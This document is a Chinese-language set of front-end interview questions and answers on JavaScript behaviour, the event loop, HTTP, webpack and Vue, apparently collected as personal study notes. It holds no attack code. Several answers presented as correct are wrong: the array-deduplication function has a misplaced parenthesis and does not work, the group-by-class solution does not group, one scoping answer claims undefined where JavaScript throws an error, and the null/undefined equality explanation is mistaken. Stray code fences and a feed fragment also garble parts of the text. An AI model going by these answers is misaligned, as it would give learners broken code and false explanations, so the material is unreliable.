在JavaScript中，null 和 undefined 几乎相等

console.log(typeof undefined);    // "undefined"
console.log(typeof null);       // "object"
console.log(null == undefined);    // true  因为两者都默认转换成了false
console.log(null === undefined);    // false   "==="表示绝对相等，null和undefined类型是不一样的，所出“false”

null是一个表示”无”的对象，转为数值时为0；undefined是一个表示”无”的原始值，转为数值时为NaN

Number(null); // 0
5 + null; // 5

Number(undefined); // NaN
5 + undefined; // NaN

  • null表示没有对象，即该处不应该有值

    （1） 作为函数的参数，表示该函数的参数不是对象
    （2） 作为对象原型链的终点
    Object.getPrototypeOf(Object.prototype); // null
  • undefined表示缺少值，即此处应该有值，但没有定义
（1）变量被声明了，但没有赋值时，就等于undefined
（2) 调用函数时，应该提供的参数没有提供，该参数等于undefined
（3）对象没有赋值的属性，该属性的值为undefined
（4）函数没有返回值时，默认返回undefined
var i;
i // undefined

function f(x){console.log(x)}
f() // undefined

var  o = new Object();
o.p // undefined

var x = f();
x // undefined

什么情况下是undefined

1. 变量声明了，没有赋值，结果是undefined
2. 函数没有明确返回值，如果接收了，结果也是undefined
3. 使用不存在的对象属性的返回值是undefined
4. 通过不存在的数组索引访问数组元素结果是undefined
var a;
console.log(a); // undefined
function fn(a, b) {
a + b;
}
var f = fn(1, 2);
console.log(f); // undefined
var obj = {
age: 18
}
console.log(obj.name); // undefined
var arr = [5, 3, 2, 4, 1];
arr[5]; // undefined

几种js跨域的解决方法

  • jsonp、 iframe、window.name、window.postMessage、服务器上设置代理页面

简述cookie，localStorage 和 sessionStorage

存储描述
cookie空间小（小于4K），存储容量受限，主要作用是与服务器进行交互
sessionStorage空间更大，接口丰富，独立空间，非持久化本地存储，仅仅回话级别存储，这些数据只有在同一个会话中的页面才能访问并且当会话结束后数据也随之销毁
localStorage空间更大，接口丰富，独立空间，持久化本地存储，除非主动删除数据，否则数据永远不会过期

setTimeout和setInterval的区别

setTimeout(fn, delay); // 用于延迟执行某一函数，只执行一次

setInterval(fn, delay); // 用于延迟执行某一函数，循环执行，直到取消

请用js编写一个数组去重函数

最简单数组去重

function uniqueArr(arr) {
let a = [];
for(let i = 0; i < arr.length; i++) {
if(a.indexOf(arr[i] == -1)) {
a.push(arr[i]);
}
}
return a;
}

利用ES6 Set去重（ES6中最常用）

function unique(arr) {
return Array.from(new Set(arr));
}

或者

function unique(arr) {
return [...new Set(arr)];
}

var arr = [1, 2, 2, 3, 2];
var a = unique(arr);
console.log(a); // [1, 2, 3]

如何通过JS判断一个数组

instanceof

var arr = []; 
arr instanceof Array; // true

constructor

constructor属性返回对创建此对象的数组函数的引用，就是返回对象相对应的构造函数

var arr = []; 
arr.constructor == Array; // true

最简单的方法

function isArray(arr) {
return Object.prototype.toString.call(arr) === '[object Array]';
}

ES6新增方法isArray()

var arr = [];
Array.isArray(arr); // true

Javascript如何实现继承

原型继承、构造继承、实例继承、拷贝继承

前端性能优化

减少http请求
添加本地缓存
压缩CSS、JS资源文件
图片懒加载
图片服务器
使用内容发布网络（CDN托管）

为什么要用 Sass/Less

这些 CSS 预处理语言可以让 CSS 具有一定的编程风格，在我实际的开发体验中给我带来了许多便捷的地方，并且使用他们更有利于项目的后期维护

1. 可以定义变量
2. 可以嵌套式的书写
3. 提高了样式的复用性
4. 可以定义一些函数

HTML5/CSS3 新特性

HTML5

<header></header>
<footer></footer>
<aside></aside>
<main></main>
<nav></nav>
<section></section>
<article></article>
<canvns></canvas>
<audio></audio>
绘画 canvas
用于媒介回放的 video 和 audio 元素
本地离线存储 localStorage 长期存储数据，浏览器关闭后数据不丢失
sessionStorage 的数据在浏览器关闭后自动删除
语意化更好的内容元素，比如article、footer、header、nav、section
表单控件，calendar、date、time、email、url、search
新的技术webworker, websocket, Geolocation
更多的语义化标签（header/nav/footer/section...）
音频、视频 API
Canvas
webSocket
localStorage/sessionStorage

CSS3

新的选择器（属性、伪类、伪元素）
颜色新增 RGBA/HSLA 模式
过渡效果：transition，可实现动画效果
自定义动画
媒体查询
盒子模型
新增各种css选择器
圆角 border-radius
多列布局
阴影和反射
文字特效text-shadow
线性渐变
旋转transform

为什么要有同源限制

同源策略指的是：协议，域名，端口相同，同源策略是一种安全协议

举例说明：比如一个黑客程序，他利用Iframe把真正的银行登录页面嵌到他的页面上，当你使用真实的用户名，密码登录时，他的页面就可以通过Javascript读取到你的表单中input中的内容，这样用户名，密码就轻松到手了

谈谈你对ES6的理解

新增模板字符串（为JavaScript提供了简单的字符串插值功能）
箭头函数
for-of（用来遍历数据—例如数组中的值。）
arguments 对象可被不定参数和默认参数完美代替。
ES6 将 Promise 对象纳入规范，提供了原生的 Promise 对象。
增加了 let 和 const 命令，用来声明变量。
增加了块级作用域。
let 命令实际上就增加了块级作用域。
还有就是引入 module 模块的概念

请用js去除字符串空格

方法一：使用replace正则匹配的方法

// 去除所有空格: 
str = str.replace(/\s*/g,'');

// 去除两头空格: 
str = str.replace(/^\s|\s$/g,'');

// 去除左空格：
str = str.replace( /^\s*/, '');

// 去除右空格：
str = str.replace(/(\s*$)/g, '');
var str1 = ' a b c ';
var str2 = str1.replace(/\s*/g, '');
console.log(str2); // abc

方法二：使用str.trim()方法

trim()局限性，无法去除中间的空格

var str1 = ' a b c ';
var str2 = str1.trim();
console.log(str2); // a b c

什么是跨域

由于浏览器同源策略，凡是发送请求url的协议、域名、端口三者之间任意一与当前页面地址不同即为跨域。存在跨域的情况：

1. 网络协议不同，如http协议访问https协议
2. 端口不同，如80端口访问8080端口
3. 域名不同，如 qianduanblog.com 访问 baidu.com
4. 子域名不同，如 abc.qianduanblog.com 访问 def.qianduanblog.com
5. 域名和域名对应ip，如 www.a.com 访问 20.205.28.90

网页从输入网址到渲染完成经历了哪些过程

1. 域名解析
2. 发起TCP的3次握手
3. 建立TCP连接后发起http请求
4. 服务器收到请求并响应HTTP请求
5. 浏览器解析htm代码,并请求htm代码中的资源(如js、css图片等)
6. 断开TCP连接（四次挥手）
7. 浏览器对页面进行渲染呈现给用户

堆和栈的区别

1. 申请方式的不同，栈由系统自动分配，而堆是人为申请开辟

2. 申请大小的不同，栈获得的空间较小，而堆获得的空间较大

3. 申请效率的不同，栈由系统自动分配，速度较快，而堆一般速度比较慢

4. 存储内容的不同，栈在函数调用时，函数调用语句的下一条可执行语句的地址第一个进栈，然后函数的各个参数进栈，其中静态变量是不入栈的，而堆一般是在头部用一个字节存放堆的大小，堆中的具体内容是人为安排;

5. 底层不同，栈是连续的空间，而堆是不连续的空间

面试题库1

面试题1

for(var i=0; i<3; i++) {
    setTimeout(() => {
        console.log(i);
    }, 0)
}
// 打印了3个： 3
for(var i=0; i<3; i++) {
    setTimeout(() => {
        console.log(i);
    }, 10)
}
// 打印了3个： 3 这道题涉及了异步、作用域、闭包
for(let i=0; i<3; i++) {
    setTimeout(() => {
        console.log(i);
    }, 10)
}
// 0 1 2

面试题2

var a = {};
var b = a;
b.name = "abc";
console.log(a.name); // abc
var a = {n: 1};
var b = a;  
a.x = a = {n: 2};
console.log(a); // {n: 2}
console.log(b); // {n: 1, x: {n: 2}}
console.log(a.x);  // undefined
console.log(b.x);  // {n:2}

// b = a 是浅拷贝，所以在堆栈中引用的是一个对象地址
// a===>堆栈中{n:1}
// b=a
// b===>指向a中的{n:1}

而我们这道题 a.x = a = {n: 2}     . 的运算优先级大于赋值运算的优先级
所以先计算     a.x  =  a={n:2}
a和b指向堆栈 {n: 1, x: {n: 2}}
a的输出值：{ n:2 };
b的输出值：{ n:1 , x={n:2} }
var a = 1, b = 2, c = 3;
a = b = c;
console.log(a); // 3
console.log(b); // 3
console.log(c); // 3

面试题3

function fn(...a){
console.log(a);
}
fn(1, 2, 3) // [1, 2, 3]

面试题4

var a = null;
console.log(typeof a);// object

面试题5

var a = 10;
function fn() {
    console.log(a); // undefined
    var a = 20;
    console.log(a); // 20
    
}
fn();

面试题6

var a=’object’; js原生实现对变量a进行克隆

var a = '10086';
var b = a.concat();
console.log(b); // 10086
var a = 10;
var b = a;
a = 20;
console.log(b); // 10

面试题7

输出以下结果

(function(foo){
return typeof foo.bar;//"undefined"
})({foo:{bar:1}})

面试题8

请将下列两个数组按sort重新排序

var arr1=[{index: 0, sort: 2}, {index: 1, sort: 3}, {index: 2, sort: 4}, {index: 3, sort: 1}]

var arr2=[{index: 0}, {index: 1, sort: 2}, {index: 2}, {index: 3, sort: 1}]
var arr1=[{index: 0, sort: 2}, {index: 1, sort: 3}, {index: 2, sort: 4}, {index: 3, sort: 1}];

var a = arr1.sort((a, b) => a.sort - b.sort );
console.log(a);
// [{index: 3, sort: 1}, {index: 0, sort: 2}, {index: 1, sort: 3}, {index: 2, sort: 4}]
var arr2=[{index: 0}, {index: 1, sort: 2}, {index: 2}, {index: 3, sort: 1}];

var a = arr2.filter(item => item.sort).sort((a, b) => a.sort - b.sort);
console.log(a);
// [{index: 3, sort: 1}, {index: 1, sort: 2}]

面试题库2

[“1”, “2”, “3”].map(parseInt)答案是多少

['1', '2', '3'].map(parseInt); //  [1, NaN, NaN]

[1, NaN, NaN]因为 parseInt 需要两个参数 (val, radix)，其中radix 表示解析时用的基数

map传了 3个(element, index, array)，对应的 radix 不合法导致解析失败

一个栈的输入顺序是12345，则下列序列中不可能是栈的输出顺序的是（）

A. 23415
B. 54132
C. 23145
D. 15432
答案： B

解析：栈的出入原则是后进先出，选项B中显示5最先输出，说明其余四个元素已经入栈，其输出序列应为54321

A. 12345
B. 54321
C. 43512
D. 45321
答案：C

函数aa()运行结果是（D）

var num = 0;
function aa() {
    var num = 1;
    return function() {
        return this.num;
    }()
}
aa(); // 0
A. 报错
B. undefined
C. 1
D. 0

以下代码输出结果是（D）

var f = function g() {
    return 23;
}
typeof g(); // Uncaught ReferenceError: g is not defined
A. number
B. undefined
C. funtion
D. Error

下面代码输出结果是什么？为什么？

setTimeout(function() {
    var p = new Promise(function(resolve, reject) {
    console.log(1);
    resolve();
})
    p.then(function() {
        console.log(2);
    })
console.log(3);
}, 1000)
// 1 3 2
var p = new Promise((resolve, reject) => {
    console.log(5);
    resolve();
}).then(() => {
    setTimeout(function() { console.log(6) }, 0)
    return 7;
}).then(v => {
    console.log(v);
})
console.log(4); // 5 4 7 undefined 6

常见的Web攻击手段（AC）

A. 通过xss(cross site script)跨站式脚本攻击
B. 通过域名DNS解析劫持
C. 通过sql注入的方式
D. 通过黑客攻击

// XSS(跨站脚本攻击)
// CSRF（跨站请求伪造）
// SQL注入
// DDOS

对 http 相关内容描述正确的是(BCD)

 A. 301 状态码是临时重定向
B. get ⽅方式只能⽀支持 ASCII 字符
C. get 在从服务器上获取资源，post 重点在向服务器发送数据
D. HTTPS 就是 HTTP 加上加密处理

设置元素浮动后，该元素的 display 值是多少( A )

A. blockB. 不变 C. inlineD. inline-block

关于JavaScript里的xml处理，以下说明正确的是（BCD）

A. Xml是种可扩展标记语言，格式更规范，是作为未来html的替代
B. Xml一般用于传输和存储数据，是对html的补充，两者的目的不同
C. 在JavaScript里解析和处理xml数据时，因为浏览器的不同，其做法也不同
D. 在IE浏览器里处理xml，首先需要创建ActiveXObject对象

面试题库3

下面输出结果

JavaScript的规定，NaN表示的是非数字， 但是这个非数字也是不同的，因此，NaN 不等于 NaN，并且两个NaN永远不可能相等

NaN == NaN; // false
NaN === NaN; // false

let num;
console.log(num); // undefined
console.log(num + 10 === NaN); // false

let x = 0.1, y = 0.2
x + y === 0.3; // false
undefined == undefined; // true
undefined === undefined; // true

null == null; // true
null === null; // true

正确输出内容是什么

let num = 0;
console.log(num++); // 0
console.log(++num); // 2
console.log(num); // 2

下面正确输出结果

parseInt('12'); // 12
parseInt('12a'); // 12
parseInt('b12a'); // NaN

Number('12'); // 12
Number('12a'); // NaN
Number('b12a'); // NaN

下面正确输出结果

Boolean(1); // true
Boolean(0); // false
Boolean(-1); // true
Boolean('0'); // true
Boolean(undefined); // false
Boolean(null); // false
Boolean(NaN); // false
Boolean(''); // false
Boolean('hello'); // true

Boolean([]); // true
Boolean({}); // true

下面正确输出结果

8 < 7 && 3 < 4; // false
-2 && 6 + 6 && null; // null
1 + 1 && 0 & 5; // 0

下面正确输出结果

0 || 23; // 23
0 || false || true; // true
null || 10 < 8 || 10 + 10; // 20
null || 10 < 8 || false; // false

下面正确输出结果

-1 ? 'aaa' : 'bbb'; // aaa
'0' ? 'aaa' : 'bbb'; // aaa

var n = '0';
+n ? 'aaa' : 'bbb'; // bbb

Boolean(+'0'); // false

下面正确输出结果

函数同名，以最后定义的为准

f1();
function f1() {
    console.log('aaa');
}
f1();
function f1() {
    console.log('bbb');
}
f1();
// 输出结果是: bbb  bbb  bbb

下面正确输出结果

函数同名，以最后定义的为准

function fn(a, b) {
    console.log('函数1');
}
function fn() {
    console.log('函数2')
}
fn(10, 20);
fn();
// 函数2
// 函数2

下面正确输出结果

var a = function() {
    console.log('aaa');
}
a();

var a = function() {
    console.log('bbb');
}
a();
// aaa
// bbb
注意：匿名函数不会声明提升

上面3题解析

// 示例1
var a = 1;
console.log(a); // 1
var a = 2;
console.log(a); // 2

通过两个var声明了两次a变量，结果看起来像是后声明同名变量会覆盖之前的声明，是这样吗？

// 示例2
a = 1;
console.log(a); // 1
var a;
console.log(a); // 1

如果是覆盖，a应该是undefined才对，所以不应是覆盖

// 示例3
console.log(a); // undefined
var a = 1;
console.log(a); // 1

可见，在a声明之前打印a是undefined，我们知道在使用一个变量时必须声明，不然后报错

// 示例1
var a;
var a; // 重复声明会被忽视
a = 1;
console.log(a); // 1
a = 2;
console.log(a); // 2
 
 
// 示例2
var a;
a = 1;
console.log(a); // 1
 
 
// 示例3
var a;
console.log(a); //undefined
a = 1;
console.log(a); // 1
// 示例4
fn(10); // 10
 
function fn(a) {
    console.log(a);
}

由此可见，函数的声明也会有提升的现象，与变量提升一致，也是在编译阶段处理声明

下面正确输出结果

{
    var a = 2;
    console.log(a);
    let b = 3;
    console.log(b);
}
console.log(a);
console.log(b);
// 2
// 3
// 2
// undefined

下面正确输出结果

var a = 60;
var obj = {
    a: 10,
    b: this.a + 10,
    fn: function() {
        return this.a;
    }
 }
obj.a; // 10
obj.b; // 70
obj.fn(); // 10

下面正确输出结果

var a = 20;
var obj = {
    a: 10,
    getA: function() {
        return this.a;
    }
}
obj.getA(); // 10
var test = obj.getA;
test(); // 20

下面正确输出结果

function Person(name, age) {
    this.name = name;
    this.age = age;
    this.say = function() {
        console.log(this.name + this.age)
    }
}
var a = new Person('aaa', 10);
a.say(); // aaa10

var b = new Person('bbb', 20);
b.say(); // bbb20

b = a;
b.say(); // aaa10

a = b;
a.say(); // aaa10

调用对象箭头函数，输出是什么？

var age = 20;
var obj = {
    age: 18,
    say: () => {
        console.log(this.age);
    }
}
obj.say(); // 20

下面正确输出结果

const person = { name: 'aaa' };
function say(age) {
    return `${this.name} is ${age}`;
}
say.call(person, 21); // "aaa is 21"
say.bind(person, 21); // f

下面正确输出结果

function Person(name) {
    this.name = name;
    this.say = function() {
        setTimeout(function() {
            console.log(this.name);
            this.name = 'aaa';
        }, 1000)
    }
}
var name = 'Cat';
var p = new Person('Tom');
console.log(this.name);
p.say();
console.log(name,'111');
// Cat
// Cat 111
// Cat 一秒后

下面正确输出结果

var arr = [1, 4, 2, 4, 6, 1];
var a = [...new Set(arr)];
a; // [1, 4, 2, 6] 注意顺序

下面正确输出结果

setTimeout(() => {
   console.log('setTimeout');
}, 0)

new Promise((resolve, reject) => {
    console.log('promise start');
    resolve('promise ok');
}).then((data) => {
    console.log('then result', data);
})
console.log('success');

// promise start
// success
// then result promise ok
// setTimeout 延迟一段时间

面试题库4

输出下列代码的console.log的结果顺序

function fn() {
    console.info(1);
    Promise.resolve().then(function() {
        console.log(2);
    })
}
console.log(3);
fn();

setTimeout(function() {
    console.log(4);
}, 0)

var p = new Promise(function(resolve, reject) {
console.log(5);
setTimeout(function() {
        console.log(6);
    }, 0)
resolve();
console.log(7);
})
p.then(function() {
    console.log(8);
})
console.log(9);
// 我之前答案：3 1 2 5 7 9 8 6 4
// 正确答案： 3 1 5 7 9   2 8 4 6
// 先执行完同步任务

举个例子

setTimeout(function() {
    console.log(1);
}, 0)
new Promise(function(resolve, reject) {
    console.log(2);
    resolve();
}).then(() => console.log(3))
console.log(4);
// 2 4 3 1

执行逻辑为：首先解析到定时器，因为是异步任务，所以添加到任务队列中，接下来实例化Promise，立即执行其中的内容，输出2，之后把then中的函数加入任务队列中，执行最后一行代码，输出4。此时任务队列中有两个任务，分别是setTimeout与then。then中的函数属于微任务，JS引擎内部的任务，所以先于setTimeout执行，输出3。最后执行setTimeou，它属于宏任务，浏览器API，输出1。
其实也没有太搞懂这个宏任务和微任务的区别，先记住，等以后学到了再说

下面代码输出结果

var a = 10;
function fn() {
    console.log(a);
    let a = 20;
}
fn(); // ReferenceError: a is not defined

下面代码输出结果

console.log(01 + 0.2 === 0.3); // false

下面代码输出结果

console.log(1 + '2' + '2'); // 122
console.log(1 + + '2' + '2'); // 32
console.log(1 + - '1' + '2'); // 02
console.log(+ 1 + '1' + '2'); // 112
console.log('a' -'b' + '2'); // NaN2
console.log('a' -'b' + 2); // NaN
console.log(+ '2'); // 2
console.log(+ + '2'); // 2

下面代码输出结果

Array(); // []
Array(3); // [, , ,]  定义了一个长度为3的空数组
Array(1, 2, 3); // [1, 2, 3]
Array.of(); // []
Array.of(3); // [3]
Array.of(1, 2, 3); // [1, 2, 3]

下面代码输出结果

function Fn() {
    this.name = '张三';
    var age = 18;
    this.sayAge = function() {
        console.log('my age is ' + this.age);
    }
    this.sayHi = function() {
        console.log('Hi' + name)
    }
}
var p = new Fn();
console.log(p.name); // 张三
console.log(p.age); // undefined
p.sayAge(); // my age is undefined
p.sayHi(); // Hi

// console.log('Hi' + name) 涉及到作用域链，如果当前作用域没有这个name，那么继续往上层作用域找，直至顶层对象this

解析

var name;
console.log(name); // 按照正常思路来说，只是声明了name变量并未赋值，所以按常理来说应该输出 undefined

// 究其原因，是因为window存在一个叫 name 的属性
// 此属性为空，实际上，开发者定义的所有变量，都会成为window的属性，如果变量没有被赋值，则该变量不会覆盖window上的同名属性

console.log(name + 'aaa'); // aaa
console.log(this.name + 'aaa'); // aaa

下面代码输出结果

function fn() {
    setTimeout(fn, 0)
}

function fn() {
    return Promise.resolve().then(fn)
}

下面代码输出结果

function fn() {
    for(var i = 0; i < 10; i++) {
        if(i === 3) {
            return;
        }
        console.log(i);
    }
}

fn(); // 0 1 2
function fn() {
    [0,1,2,3,4,5,6,7,8,9].forEach(function(i) {
        if(i === 3) {
            return;
        }
        console.log(i);
    })
}
fn(); // 0 1 2 4 5 6 7 8 9  注意没有3

// forEach中不能使用continue和break
// forEach中使用return语句的作用只能跳出当前循环，并不能跳出整个循环

// forEach 循环不能被 return 终止，其作用和 for循环中的 continue 相似 只是跳出当前循环，继续执行下一次循环，在 forEach 中也不能使用 break，continue 来跳出循环 同样会有报错

下面代码输出结果

var objA = {a: 10, b: 20};
var objB = objA;
console.log(objA.a); // 10

objB.a = 30;
console.log(objA.a); // 30

setTimeout(function() {
    objA.a = 10;
}, 0) 

console.log(objB.a); // 30

下面代码输出结果

var arr = new Set([0,1,2,3,3]);
console.log(arr); // Set(4) {0, 1, 2, 3}
console.log(arr.length); // undefined

面试题库5

HTML语义化的理解

  • 什么是HTML语义化？

根据内容的结构化（内容语义化），选择合适的标签（代码语义化），能够便于开发者阅读和写出更优雅的代码的同时让浏览器的爬虫和机器更好地解析

  • 为什么要语义化?
  1. 为了在没有CSS的情况下，页面也能呈现出很好地内容结构、代码结构
  2. 用户体验，例如title、alt用于解释名词或解释图片信息的标签尽量填写有含义的词语、label标签的活用
  3. 有利于SEO：和搜索引擎建立良好沟通，有助于爬虫抓取更多的有效信息：爬虫依赖于标签来确定上下文和各个关键字的权重
  4. 方便其他设备解析（如屏幕阅读器、盲人阅读器、移动设备）以有意义的方式来渲染网页
  5. 便于团队开发和维护，语义化更具可读性，遵循W3C标准的团队都遵循这个标准，可以减少差异化

<!DOCTYPE>作用？ 标准模式和兼容模式各有什么区别？

声明位于位于HTML文档中的第一行
告知浏览器的解析器用什么文档标准解析这个文档
DOCTYPE不存在或格式不正确会导致文档以兼容模式呈现

标准模式的排版 和JS运作模式都是以该浏览器支持的最高标准运行。
在兼容模式中，页面以宽松的向后兼容的方式显示,模拟老式浏览器的行为以防止站点无法工作。

解释写CSS3的Flex布局，以及适用场景

请列举几种隐藏元素的方法

visibility: hidden;

opacity: 0;

display: none;

transform: scale(0);

height: 0; overflow: hidden;

为什么script要放到底下

浏览器在解析到标签之前，不会渲染页面的任何部分。把脚本放到页面顶部会导致明显的延迟，通常表现为显示空白页面，用户无法浏览内容，也无法和页面进行交互。

重绘重排

请求类型

请求类型有8种，我常用的有4种，分别是get、post、put、delete

get主要是用来请求数据的，post主要用来上传数据的，put主要用来修改数据的，delete主要用来删除数据的

面试题库6

以下输出什么

for(var i = 1; i <= 5; i++) {
setTimeout(() => { console.log(i) }, i * 1000)
}
// 6

以下输出什么

function test(x, y, z) {
    console.log(test.length);
    console.log(arguments.length);
    console.log(arguments[2]);
}
test(1, 2);
// 3
// 2
// undefined

以下输出什么

(function() {
    var x = y = 1;
}) ();
console.log(x, y); // Uncaught ReferenceError: x is not defined

以下输出什么

var a = 101;
var b = a > 100 && (a = 70);
var c = (a > 50) || (a = 25);
console.log(a, b, c); // 70  70  true

说说你对浏览器hash的理解

1. hash 路由：
监听 url 中 hash 的变化，然后渲染不同的内容，这种路由不向服务器发送请求，不需要服务端的支持；
2. history 路由：
监听 url 中的路径变化，需要客户端和服务端共同的支持；

知乎：https://zhuanlan.zhihu.com/p/130995492

以下输出什么

var obj = {
    type: 'Identifier',
    name: 'aaa'
}
var { type, name, value } = obj;
console.log(type, name, value); // Identifier aaa undefined

用js算法实现一个函数，函数可以把一个数组拆分成多个数组，并且按每3个一组，如[1, 2, 3, 4, 5, 6, 7, 8, 9, 10]经过此函数变成[[1, 2, 3], [4, 5, 6], [7, 8, 9], [10]]

function group(arr) {
    let a = [];
    for(let i = 0; i < arr.length; i += 3) {
    a.push(arr.slice(i, i + 3));
}
    return a;
}
var arr = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10];
group(arr); // [[1, 2, 3], [4, 5, 6], [7, 8, 9], [10]]

用JS算法实现把[{name: ‘a’, class: ‘一班’}, {name: ‘c’, class: ‘三班’}, {name: ‘b’, class: ‘二班’}, {name: ‘d’, class: ‘一班’}]按班级分组

var arr = [{name: 'a', class: '一班'}, {name: 'c', class: '三班'}, {name: 'b', class: '二班'}, {name: 'd', class: '一班'}];
var a = arr.sort((a, b) => a.class - b.class);
a;
// 0: {name: "a", class: "一班"}
// 1: {name: "c", class: "三班"}
// 2: {name: "b", class: "二班"}
// 3: {name: "d", class: "一班"}

vue如何获取路由参数，如何编程式导航

https://www.jianshu.com/p/c6492491d13f?clicktime=1577280094

vue如何响应路由参数的变化

https://www.cnblogs.com/restart77/p/13377257.html

npm install –save 和 npm install –save-dev的区别

https://blog.csdn.net/pange1991/article/details/88591837

webpack基础

什么是bundle，什么是chunk， 什么是modules?

bundle：是由webpack打包出来的文件，

chunk：代码块，一个chunk由多个模块组合而成，用于代码的合并和分割。

module：是开发中的单个模块，在webpack的世界，一切皆模块，一个模块对应一个文件，webpack会从配置的entry中递归开始找出所有依赖的模块

webpack构建流程

1. 根据配置，识别入口文件；
2. 逐层识别模块依赖（包括 Commonjs、AMD、或 ES6 的 import 等，都会被识别和分析）；
3. Webpack 主要工作内容就是分析代码，转换代码，编译代码，最后输出代码；
4. 输出最后打包后的代码。

说一下loader是何作用

file-loader: 把文件输出到一个文件夹中，在代码中通过相对 URL 去引用输出的文件
url-loader: 和 file-loader 类似，但是能在文件很小的情况下以 base64 的方式把文件内容注入到代码中去
source-map-loader: 加载额外的 Source Map 文件，以方便断点调试
image-loader: 加载并且压缩图片文件
babel-loader: 把 ES6 转换成 ES5
css-loader: 加载 CSS，支持模块化、压缩、文件导入等特性（可以理解为将css代码转换为js代码）
style-loader: 把 CSS 代码注入到 JavaScript 中，通过 DOM 操作去加载 CSS
eslint-loader: 通过 ESLint 检查 JavaScript 代码
less-loader: css预处理

webpack打包是如何优化前端性能的

1. 压缩代码。删除多余的代码、注释、简化代码的写法等等方式。可以利用webpack的UglifyJsPlugin和ParallelUglifyPlugin来压缩JS文件， 利用cssnano（css-loader?minimize）来压缩css

2. 利用CDN加速。在构建过程中，将引用的静态资源路径修改为CDN上对应的路径。可以利用webpack对于output参数和各loader的publicPath参数来修改资源路径

3. 删除死代码（Tree Shaking）。将代码中永远不会走到的片段删除掉。可以通过在启动webpack时追加参数--optimize-minimize来实现

4. 提取公共代码。

面试题库7

事件委托是什么

事件委托是利用事件冒泡，只指定一个事件处理程序来管理某一类型的所有事件。

通俗的讲，事件就是onclick、onmouseover、onmouseout等就是事件，委托呢，就是让别人来做，这个事件本来是加在某些元素上的，然而你却加到别人身上来做，完成这个事件。


为什么要用事件委托？
1. 考虑一个ul，在li的数量非常少的时候，为每一个li添加事件当然会使用for循环；但是数量多的时候这样做太浪费内存，长到上百上千上万的时候，为每个li添加事件就会对页面性能产生很大的影响。
2. 给一个ul里面的几个li添加了事件但是如果动态又生成了li则刚生成的li不具备事件这时就需要用到委托。


作用：
1. 性能要好
2. 针对新创建的元素，直接可以拥有事件


事件委托就是利用事件冒泡原理实现的！
事件冒泡：就是事件从最深节点开始，然后逐步向上传播事件；
例：页面上有一个节点树，div > ul  > li  >  a
比如给最里面的a 加一个click 事件，那么事件就会一层一层的往外执行，执行顺序 a - li - ul - div,  有这样一个机制，当我们给最外层的div添加点击事件，那么里面的ul、li、a做点击事件的时候，都会冒泡到最外层的div上，所以都会触发，这就是事件委托，委托他们父集代为执行事件

使用场景
1. 为DOM中的很多元素绑定相同事件；
2. 为DOM中尚不存在的元素绑定事件；

下面代码分别输出什么

var a;
console.log(typeof a); // undefined
console.log(b); // ReferenceError: b is not defined
b = 10;
console.log(typeof b);

输出什么

var a = new Object();
var b  = a;
b.name = 'aaa';
console.log(a.name); // aaa

http和https的区别

1. HTTP 明文传输，数据都是未加密的，安全性较差，HTTPS（SSL+HTTP） 数据传输过程是加密的，安全性较好。

2. 使用 HTTPS 协议需要到 CA（Certificate Authority，数字证书认证机构） 申请证书，一般免费证书较少，因而需要一定费用。证书颁发机构如：Symantec、Comodo、GoDaddy 和 GlobalSign 等。

3. HTTP 页面响应速度比 HTTPS 快，主要是因为 HTTP 使用 TCP 三次握手建立连接，客户端和服务器需要交换 3 个包，而 HTTPS除了 TCP 的三个包，还要加上 ssl 握手需要的 9 个包，所以一共是 12 个包。

4. http 和 https 使用的是完全不同的连接方式，用的端口也不一样，前者是 80，后者是 443。

5. HTTPS 其实就是建构在 SSL/TLS 之上的 HTTP 协议，所以，要比较 HTTPS 比 HTTP 要更耗费服务器资源。

vuex刷新数据丢失怎么解决

1. 将vuex中的数据直接保存到浏览器缓存中（sessionStorage、localStorage、cookie）
2. 在页面刷新的时候再次请求远程数据，使之动态更新vuex数据
3. 在父页面向后台请求远程数据，并且在页面刷新前将vuex的数据先保存至sessionStorage（以防请求数据量过大页面加载时拿不到返回的数据）

vue首屏优化

~~~



# 面试题库8

**输出下面运行结果**

~~~js
function Foo() {
  this.goo = function() {
    console.log(1)
  }
}

Foo.prototype.goo = function() {
  console.log(2)
}

Foo.goo = function() {
  console.log(3)
}
              
var p = new Foo();
p.goo(); // 1

兼容性布局方式有哪些

~~~



**答案是多少**

~~~js
(function(x) {
    delete x;
    console.log(x);
}) (1 + 5);
//  6

函数参数无法 delete 删除，delete 只能删除通过 for in 访问的属性，也就是只能删除对象的属性、数组的元素；删除失败也不会报错，所以输出6

在 JS 中有哪些会被隐式转换为 false

1. undefined
2. null
3. false
4. NaN
5. 0
6. ''

事件委托是什么

让利用事件冒泡的原理，让自己的所触发的事件，让他的父元素代替执行

那些操作会造成内存泄漏？

1. 闭包
2. 死循环

用 js 实现千位分隔符?

function commafy(num) {
  num = num + '';
  var reg = /(-?\d+)(\d{3})/;

  if(reg.test(num)){
    num = num.replace(reg, '$1,$2');
  }

  return num;
}

commafy(1234); // 1,234

输出结果

console.log(a); // ƒ a(){}
var a = 3;
function a() {};
console.log(a); //3

输出结果

function fn() { 
    return a;
    a = 10;
    function a() {};
}
typeof fn(); // object
// 考点：函数声明提前

输出结果

var a = 2;
function fn() { 
    window.a = 3;
    console.log(a);
}
fn(); // 3

输出结果

function fn() { 
    a = 10;
}
fn();
console.log(a); // 10
// 如果在函数内没有声明变量，直接给变量赋值，会声明出一个全局的变量

面试题库9

什么行为会引起重排和重绘

1. 重绘：dom节点的css样式颜色的变化过程叫做重绘 改变的是cssTree 一部分变化，对randerTree影响相对较小。所以相对与重排而言对浏览器性能影响较小

2. 重排：js动态的修改dom 即更改了DOM树了 更改dom树之后 renderTree就变了，renderTree变了也就是要重新建立一个renderTree了 ，这个过程叫做重排

http和https的区别

https协议需要到CA申请证书，一般免费证书较少，因而需要一定费用。

http是超文本传输协议，信息是明文传输，https则是具有安全性的ssl/tls加密传输协议。

http和https使用的是完全不同的连接方式，用的端口也不一样，前者是80，后者是443。

http的连接很简单，是无状态的；HTTPS协议是由SSL/TLS+HTTP协议构建的可进行加密传输、身份认证的网络协议，比http协议安全

组件化模块化的理解


]]> web web html css js Vue面试题汇总 /2021/08/12/vue-mian-shi-ti/ Vue面试题

谈谈对Vue的理解

1. 渐进式 JavaScript 框架，轻量级框架，只关心视图层
2. 双向数据绑定，数据操作方面更为简单
3. 组件化开发，在构建单页面应用方面有着独特的优势
4. 虚拟DOM，减少DOM操作，性能更好
5. 运行速度更快

对MVVM的理解

MVVM是双向数据绑定

1. M 是 Model 数据层
2. V 是 View 视图层
